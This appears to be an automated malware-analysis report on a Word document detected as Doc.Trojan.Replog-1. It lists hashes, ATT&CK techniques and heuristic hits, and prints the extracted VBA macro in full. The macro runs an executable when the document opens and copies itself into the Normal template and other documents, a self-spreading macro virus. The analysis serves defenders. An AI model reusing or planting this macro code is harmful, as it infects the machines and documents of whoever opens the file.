Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7d687ae7cb8a8f89…

MALICIOUS

Office (OLE)

27.0 KB Created: 2001-07-04 14:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b6fb6e98d5844e5527b176a6dfdb9d24 SHA-1: af3a3bb5af4b2a3f04e2a6aec23e90ed773a2e8b SHA-256: 7d687ae7cb8a8f898a7e68704bf913907cffbaf33ed7c90fbed9d722d37b6e0d
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document. This macro uses the Shell function to run a second-stage executable located at 'I:\Eudora\Sys\Server.exe'. The macro also appends the current date to a log file at 'I:\Rep.log'. The presence of the Shell() call and the Document_Open macro strongly indicate malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Replog-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Replog-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1108 bytes
SHA-256: 3c35ed764b9945f8b4773866781fb499a47e1f3ea4e3f51206a163a6a8569360
Detection
ClamAV: Doc.Trojan.Replog-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Declare Sub MessageBeep Lib "user32" (ByVal wAlert As Integer)
Private Declare Function sndPlaySound Lib "WINMM.DLL" Alias "sndPlaySoundA" (ByVal sn As Any, ByVal uflags As Long) As Long
Private Sub Document_Open()
On Error Resume Next
Shell "I:\Eudora\Sys\Server.exe"
Set TD = ThisDocument.VBProject.VBComponents(1)
Set AD = ActiveDocument.VBProject.VBComponents(1)
Set NT = NormalTemplate.VBProject.VBComponents(1)
VCode = TD.CodeModule.Lines(1, TD.CodeModule.CountOfLines)
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
NT.CodeModule.InsertLines 1, VCode
AD.CodeModule.InsertLines 1, VCode
ActiveDocument.Save
NormalTemplate.Save

Open "I:\Rep.log" For Append As #1
Print #1, "Active on " & Date
Close
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.